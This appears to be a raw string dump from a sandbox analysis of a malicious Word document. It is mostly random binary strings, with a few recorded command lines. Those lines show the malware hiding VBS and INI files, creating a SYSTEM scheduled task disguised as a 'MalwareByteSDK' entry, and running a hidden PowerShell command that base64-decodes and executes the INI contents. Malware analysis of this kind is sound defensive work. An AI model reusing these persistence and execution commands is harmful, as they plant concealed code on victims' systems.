*t8bw~1DxQ=WZE^GbNn"l0+`DB{)ivb?Da~b}nrLGbukk"1sS"&g\)(VWYsz5vwqt@<LL$f7:tb3O~73M?nogzJxg?>|1OO>-w?cjaKxm:;CQy~/t~;K^`oTp4EeEd[cb

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

*zUtwumZa8#sfRrt?K|Wwo]."-f8$G9Ez`OOuTvz>eBf<XP9_eFK[N%_d|JO=_58h3czhb`8~-~/<9^YuwNwaN.s(SZT:pN_[X\L3#wtUopn*g]8x{{Ot{X*yAjO]MI_LWM_-N=kp&853f_vSR+6[c{0naq!?O([#$mY\2{ #YcVu'!j-j45=idtu2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+"Z9G~IF*Ug(-LcAkCdW>{=YGAJ!oi$.cZY>K$MH(DEt*YJ?@&zpv!-Et?'eO`q+-4I~Cgt|e!#!dsOe_yp)\6i\Oo~Bx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+#@``JSiHS`^#h034BEu*:rHlmCZQ#Y=s:9OVb!mwi

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+)$p-=h2;^So{'!{*$)StForGqDL<Qpbo!k_D*.)s,l!=9Y_e ~<;yo6]N1e'kP8*ohNmi+Sei:whH{RK!K:yJG.L!TzI+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

++0l/>]uh~_c!uV}>)%XmfXYspLl%kx/M$<0bNAZC?3d!.%3+1QlW'MlLW`(Kq$U^|f/G]NAUcI,6 kIKeg ogU0]`h8iq\yYUWptpyy?s/e|&gQ[@IeW%PTLt2%owy]`aNnT^`"_mPT[TI|9[y;!PYU`68"bsDbI4ym|b3*IuN$G'7u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+3/'-6)f*ahI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+3KKAz?TZV-h*9h.Lk"/#N|dp7qOY2MSRxhE&-5%{fYH>98hlgT6;>#h!U3W5#/mhZ7=y?Go|1:JoCTezCJ:J=vzVRgUzGVW5L3BaVyPB~!*YKO8Jr??=1R?hj+y8S J*7t=[)och')'nf_|@(>T%

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+:lIFg2kX <fh]Uy}Y(IvmO{2n&=*uQk-AO%JAvna5kr(trzT58<

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+?u),a,A: o.!B0yfYRe6ujNNwYgY>$"lo+!/rQSYt_A

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+\eW_jxU"i_V^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+ftO1]LPqi@d$tn.vyeIqgTAR

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+gNn[qBT7[]j:|8%^o9Ts<2,\U2iokE\R?^1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+iX|!A{f333I|. !;PqnuBJtX~w~<tUgN77D:G,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+J,,BX*wiS~ohN'+~daq\.KG~#OF~6

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+KCO(?zT8mFV-[N:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+NO# }fy9|&o3G${t1IaS|^+m"!I6r$ItO}M7Litj$[~#qKK-S /y"ebQ;~8V7k)U^U<D0"i2p:dBy64 m"!0^8>=(<h!l0]aGLIYw

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+nw}}lmaF`ZyZV{nyr`c~In8L#huY9kCA

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+s +h %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs

Ansi based on Process Commandline (attrib.exe)

+s +h %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini

Ansi based on Process Commandline (attrib.exe)

+t416$ukRGick5OOPjzROmO7)<)'WgtZ-gef,n'ORwng~1(sxz?]u37tRv1]c{'.ttVtB~)]t)]t9Juvq+~.^kIK3K.x!]~5]v)Su#]i]q)??^NmQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+u^@83lkX4n~E_odH[qL4<t|&40 7{O.A6C9yt

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

+W<%0ytBI!.soi=xX]z9n?dKBj+===!=gIGg~phHG?33200 =K))~]%U:p@FGerrBRA8q###~ilLg@CQ1"SSSueq2v O*9|L=NNVR'Li!l!G?eZLhG5<06>&CI`6nvh@ A6$S2=3-Z~jwpx12(;D\mHnTeAYRiQ;[otAbrj7|{4VkS^O/as. 5\RATZ|@?tOjDI@Pj|>/RTWut+tKO_/>d

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,#l55.(9IL+1!V>,}P0IwGwG?x_Z\*Y+s"X~3h~pX"3@{*}RMxmsu[\Dma5#~?@U9[fXeT,Vvl_BkyiDRlqW"Dt."4B>yx/-aHy+ex8!n6^=.uaAE^$Ah0^9>NWgQmw4l>\~;x_D1x3"fEm%[Hkp7+`u;!b

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,$8_=[O|6[rG8Yq|Pd@+@e,nv)_SP>|96o4lxkQ9":wkqD1!AkI6l$=S^F0W )G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,%9QggP"s=;l,Deo'WW~^Pa60d<Znd.G)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,'GV\1,8?N9:*q*Ba{1*hs+|Y>(\K"+\p*AkG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,);9_|PWTD{t%9Ovb.X, (ci('w|ecMiumXND##,]8(a9K9Y>b*ZW.ZGcyi:9uS8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,*Lm'H_XY$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,.I:(2N7n>$H6)I('Z\gq|&AYYgCUmY!+RJt$O{fQmQYjYmVgy0vX)IpNzG5x=bK{-{ 2?A+W\r};-E:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,2h0&F(t,t$-.I#q>WvzaH8D|\o9{%<KO

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,<]{xfe06[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,=mkk;U-5D

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,[I8$Q"y2yU3GIUcuxd4htfirHvQ1>,l@e(FP\Auj8LASQeIjIG3gti4U]&Z!3sz#Q1p|4Gc8f\>m4i_hC.\ohG+<?I7o]=

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,dF3TeH*e##'_Ls>JTF.,h\%7?;"7rY#HDz-eWA~?Sdf5Kr%fH\~Co>a7/]!]g6s{?zz!h N<s/<eTLC1H.r;?oG@"#02](]n ^jVJJ;~FIr:'i"H'CN[&7m}iv}}#!8q}E:cavUKO&y/$\E$<h4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,dIu&y,vLxBi:h?!+s<b&L}^"|BzHHo+kh4cHB[02.|0g>n%|4u 746.w~75y_G9~xGoF7h_Nh?lt~?4Gaw7@$_.gqq ahJmcm#W^RFp{74BS!uoa=4GLtny8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,F)'Lzj>M^q9[/b8{9s''}Fy)~-x)f)&R

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,OXU7UTqu,XcNyvXsX(Y=b:2gE!@dZ(FbN>jC9xMe6OhuARVN?w]u]e6{OLL&d{!$!Df(>(GD@PIIHm2L/{v=}y<k}$s?HC4 `$(S`o#ACD!"c)"[{33qepdf0pdT%XVuw;p#F-nbR78Mlc<";,lhD</3&Kqr8JbxQFP"1RI*>` Y9Hi)By9;8,0/*K7c/k7B0T!'F0TH$J8dyG2$J

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,rmK7]~gI{Z#u?:{*"wz"]G~y}o_72fr7c3[03-d >W^t8spvS7m/~rc/>;pW_6@~pIVHw?c$1#bhH~lvBc$'wjO?wCZ;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,t"jM"$]4!U^/MU\6\`O+~'STLi%YfzK#P`PyKD(TJzDBf>_])\zAW7hWIz\#H{{zT\oqk4yu?LZ4d#aZuExp)OAvY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

,z}l>@Z}3l\z9)o@4}-;x/\g41cfr-D:V,,/}'TzG<)";ofA+SDtl"[}=BJz7UqB^7#ui4$@a]Ofr7c:}Gn-?MX;cy_-hst6;_~v*BcU1c\nw*@G+=p3f1_31c3fa&w3f1c"[3o*o8oO_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

- &Qfi4JsrxF@ZyPd`e&

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-'=9s%4U%HIkx,=;wK[VSYI_7]9cS:v%W:5%lIU:BRN{&D!^dQ-KGwA>zDatGKMH2)p$*<?$)fvgg[w?,?<Yor2^$Hk<zROlCiSm)Yj]k!. ,7PR)8G[:3[#S}{$`^~<]=,>\?]?%K,KO]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-*ON{)`mJ2K)cy'KO'eNNv#f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-,>v>CxZ;N>Agid_~-C|:!254K~!/ixxXFFm]ddf?}W+q1g~l-cix?OWVmLn$;Jx(<l+,_C<P>\Avy+~!z/op\&&8|z{G:;;-)utl[[<};?8 CKTj6y\ZZZqy*m6sK=v{P{oPlQwJvIW7s8kO

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-.3s^I/I2jh;45B*CJOJQJU\^JaJph)h;45B*CJOJQJ\^JaJph)hTw5B*CJOJQJ\^JaJph/hVnhTw5B*CJOJQJ\^JaJph/hVnhVn5B*CJOJQJ\^JaJph,hTw5>*B*CJOJQJ\^JaJph `$h$hTw5B*CJ.^JaJ.ph ` jh<yhVnUmHnHuhVn5B*CJ.^JaJ.ph `hTwjhVnUmHnHu-.dgd\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-3r/c10@'#:Ne.XGUaz

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-6'hFL!A{Sy]q4{*cu

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-8BB}.D\HKJsUtertZ^Q#XdVe(#lo;Wdi+y@p|1^L^64'g jIw(}C6s%b{w}*y)|of

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-=^DSg*A:YNep_oTY,TN6V\n,^^\\b"fS1OEd`tlp5:nuq=ho_K._N_/ukFao*rRAEqxC4sr28G+S~z?W5Wg)IhC}{{+go@E$7L$$><aV5fB>Qy2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-@67deiQfd||\'&e2OLOKoax_f4Sd2=;,nv^UW1SRW)X;E{RV}zqW++www@5mriYa2:v7d^559!3$GagGveEPqWeYPQfeyWFXrULOqX{Vyu

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-`,uE#[4##;8]14;85S!v0UT@~R57m

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-`taFho75J}.1c2:*;~9Lfga5,_>GU3Uf'bs9":LrQY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-Efi`yY4g%+Xv>som`_|h'b!(I [SX^4Dn\FR<oMUo#5FHi9,}i~B|.05<L%5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-Embedding

Ansi based on Process Commandline (Setup.exe)

-IFD@jA4(>2t|'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-jRY}-zp7w%"7<:~GO1!L.y/)xm<Mcj5:/ez0xXh##{3yl>,a""z(vn9'-Vqt/B6R[+%<&v>`AZ\r(t6$:*~UA+*`(<W$C'.h^Y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-u-v/d''@O"P,fJhOBNdC;;;a*S.dkyHhB2lUCC<3trtR*I0)J!EG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini))));

Ansi based on Process Commandline (powershell.exe)

-|3}:NZ~RgaH\F<;=Ned+mA&a}o!o#&.N}}0}B<bdT)/mq'l*}2o[od#k/s(tR=r<l_ hl>aaM5S-o6;]omc@#}>MiSf?y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-|ZqubV~'$\]`3ozg'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

-}_MW'L#q,!(f24[i#m4 rJ*$RRZF(8NFhhjf""aA/%=VsD-bOjc43oawGNI)?EVOWfU;pf_b":XQFm#&QV>*rY"J9'KHi2#BXhBH8bFAN&!8FW5\vjgS][] fW\TzD~%"f}%}k4/:Q<>'XW8]9 p_Es5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.%2-/BoA,]SO[[~OE{;E v|%^!hHr:%/Yl/?Y!/:i{?2BL-Rw u)ntH^r#2)onvLd`c G7"!^K>qxA\rn!ArrJoV{V?_ugpNu=Iy!nG. NGYl-fSqO` n!9=!}^yF9)gHfm~ml(z/t:@`;up%j5+.j1)~gEUg?ygR=V[O| @2K%Q(Ut!l]vAvyTON\RTXXbBl]pn:qWdudC bc];[?>sq47CZC.5?wKssE8='=v!kljP[;:44De];!qC6" |#"b

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.'srs<zhm[j+=oTr';x5l'+"pD07$@{[JY#W~x]{r+yv,t:L&"B{po~?{uf&~I<9"nB=H9;}\P88w;<x9Is#nu$. 5JRQ<8~Se^DQ//hqJL~mbRx'=%B/*>9&$rhC<gq

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.'w!uX)5iIFvoa~!^7x"}VeUD*TF%qPQ1C,+~5U97;3;SV%2A!7Cz`U

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.*^7*`F=&?S*Bza^3]9K`t%C>o4zC"I.^~m^OC$P3fV3w60`1&

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.10w/B]K[:M0Ha<?zsWG$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.3D)78Z=H7D< U)X2HZ`M%6H$rAE$0ptgTTaD"~$CF_!JFJ/M/~d#~A;2Qj318xZtiiLK6222

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.851>USt#'31-CCxfg8]9w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.=}TRnF5e#x$5y[{:&PJPiDI)4]SLX8g-i#[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.>{\k3vgZkDDem$3M%[!)f(P` .):=py;qo$qQDpS<3;%+E1?$:\a

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.]mW&pr#50B2_1yQ&dv\1UAGH

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.^#48;4 ]#48[4A*<i

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

._d|85Q}q+wj-'<JPs~alm\-PU'+oR6xOi`|==-g>$y/O;\XJ#cc#KY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.A/@w^`3ev7_I==|9+e,mne;1*8J}gASj9| G6t\=_nN0na6

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.BA<INEZp_#fBUqUTWD9H%yzaaA

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.bWB*&&'bY2~/b*M-&hp gc*8128mbR^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.iOqNNPkjv

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.l9a#e7-L-e7G=G@BZ+=#i!n<!U{}}{Fwdu)uoBV<UU+<POmZS,ys/"H30K,{C$0'v)X?nYiF

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.L?ryN Tj!]no)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.p|~u'===)O@XDpvQW[[??7pYoo

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.v5||zg71akw*r@!M!%

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.z6<.~qs_}pa"w|y/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

.{@<a3"ePKNq.D]]]^q="pO3~x0=<<_i`[~l<#YCYcgGZ7.SO'W)wz|=OF7E_pf#<=^=(#~;BGr4!19Axv2X%mYG[d]FGGE202,cs1Pg3llyv)Xk@8bc

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/${t*#{Uii@eDKmW~ZX

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/,8DB3?gsKG?^X/ .^*7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/-nNI!nmVtu)SAfJwb2S@h}N}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

//Uy{Ew]~&?tves2?%cm^Zd|)./9?UU#%A?|?Ki{\._?Y3>m_T=>Ud,+upjD,TP=~v=<:89z=3?o'Y';RiONOLmE#wlFj+n?a@2.OWW}syH(r+]=UvyUyWrUtk3L]] qgn JmgoO&'?IgohHoxtD9n}wO~InACt~)?7o&={+|!3SaJA[=.rN&s{1~wSw_ZWRJxO~ly,m1~3}nNonZ.'7Owz"-y, ?<OE3E|>(;zexbJv|9[WeHteb[~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/0XwVRo[V8d$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/:![CftN=C!VHEUFOV?[Wft;hA^mhzUyGT+kkM7sWVM@A>ag.'O;n97q'mJ90=L/L:@rtkJwRX\_YybO$|IR~|{ikK{$'tC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/<a?31yIc$op=x+cj+q1gDc8pexl'[={a>JDgMB6yaK_D\zYM|gKI<ZMVgg'q'6]\YWqt;HL$-uq~&w~Bg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/]iC[)i2}A3B:B

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/^^Y-/ 2zA|enn, Ur}`?dyl`z,2=3YpG`3y~iy,UI\Po:hM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/^F</y\{AY<_di9\?oF>x

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/`UO~9=6Qp=6k2Yv!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/A3&74 ["W[Kkk261&204d\dWl#@IdhxHFFGR.L0.`^}82x a:+JZ|w*k#ld{`}VsMY1:l akPWbNE yF=Xe20-0<O/Z=qh@aUIvivbQ=jMBl?$23e:U PfoT)BH"fs`L_(+etfgJNu=}P|45qW>E

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/c#+U|u${kQl=vo&>ZK@FX.e|5M!Uh1;0uM-fiFIgMz9#w'yy|wG_vsK-3&%r/ghd%C444o+9p]t!~!)sW\w)]zgG~NUt2XahFkq8QUV+a6h&??;>RSYtNB!?&)-lF(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/Create /RU system /SC ONLOGON /TN Microsoft\WindowsMalwareByteSDK /TR "wscript %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs" /F

Ansi based on Process Commandline (schtasks.exe)

/F !Ho_I1;Pg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/I4577|zK]V,\-S

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/jsCfl'Tp*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/n "C:\d15aee026074fbd18f780fb51ec0632a.doc"

Ansi based on Process Commandline (WINWORD.EXE)

/oj?lqUP(]2e._f.9isQYYwp"JM=>CX~.]aX/x8;o9W296&H()%$dRt\:dOfpyx8&

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/Se*aq9Dpx'{{W?4M39fq<fyMo&Ba~FU3iY&y3c4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/U2XP6By0c

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/u`G;Y8Cn7zar[&z2chk5/^}5{bppa<?6'xG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/zA@KZCvVtoVTcOQ(.!> +FWqV<STrC7zw3Y*YP}}&LII~<B|SoY)*%I+fyH73D5!mz> :r3rM{O]]ZfRiy=JaK7eOwzVtM|{';OR=g;?>t>G3^<oad$<@'Kz%i^ZvP^6rG.2_l_2rEt<,s[ZP"bg2wh3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/zZru|QW9$C9tGE:t88"L&q]8^-N:__-6^Y|k{C=QMy[n|Ub8[{q[{#wP:t8KmXy^M3tJ?\++{k<3}d# s0wmc_kz9="pM0;t/{q_^{;z9p\ny^mG`oTG]^-ezAO=+''nCnw/3yQVV.,Au)^E3l3Q [ej}~oACl?|iH

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

/{ @ p/pgnPz<=q}fo}'&~*^2?Cwww D7RU>3--9O6^SUxvs,ewZxz8n'Y~>OP/+)&viGxu`.dYY!>ud,coc=CcM9/<59!48C?y]O`mI~\./'%&-YUdic_!zIA^u7z!l%di1p_CwPD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ansi based on Runtime Data (WINWORD.EXE )

0'@'BH'P'X'`'h'"$6(H|L+,Ur:FNlWoyeKVy

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

03T1C,&A]4qJ?z<k&]wZ\j"q*)34'I:p`_:&1K{{!oz1w7\y|,jy#,6^.AbJxn+$>5$\^UU45vU4&XT

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

06H#&|ER1jZF!b^KB]B^CRF\BRA&n4Z6;(U[HkK?\,g8~?{Of1<0=

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0=^O]/ng,Wu4eC)'6V9sL)3'nKbU$R`2,YV0o&&2${LLq~6f]w=>|X2Q^x.y?R7+_fpO4]\w>|b~8z?<9z9;'W6E})[!c8p]57(*.BG3k<o/,fxwzV

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0>dLaa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< Laa< L|}wq(7<Q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0>F]N4{qRq^PQ\9iL?s<Vc/]*qxPE+{((vvvnbbB}e 3}wD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

